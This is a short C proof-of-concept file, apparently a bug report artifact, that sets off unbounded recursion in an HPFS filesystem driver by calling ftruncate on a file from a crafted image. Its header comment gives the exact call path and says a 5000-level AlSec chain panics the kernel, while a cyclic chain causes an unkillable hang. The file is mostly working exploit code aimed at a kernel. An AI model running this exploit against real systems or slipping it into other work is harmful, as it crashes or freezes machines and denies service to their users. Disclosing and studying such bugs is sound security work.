/*
 * DF-3101 PoC — unbounded recursion in hpfs_truncatealblk via a deep
 * AB_NODES AlSec chain on a crafted HPFS image.
 *
 * ftruncate(fd, 0) -> VOP_SETATTR -> hpfs_setattr (vnops.c:559-569)
 *   -> hpfs_truncate (subr.c:774) -> hpfs_truncatealblk (alsubr.c:770)
 * recurses once per AlSec in the chain (no depth limit); 5000 levels
 * blow the kernel stack -> panic.  (A *cyclic* chain instead
 * self-deadlocks on the held buffer lock: unkillable hang.)
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/mnt/FILE";
	int fd = open(path, O_WRONLY);
	if (fd < 0) { perror("open O_WRONLY"); return 2; }
	printf("ftruncate(%d, 0) on %s (deep AlSec chain)\n", fd, path);
	int rc = ftruncate(fd, 0);
	printf("ftruncate returned rc=%d errno=%d (no panic?!)\n", rc, errno);
	close(fd);
	return 0;
}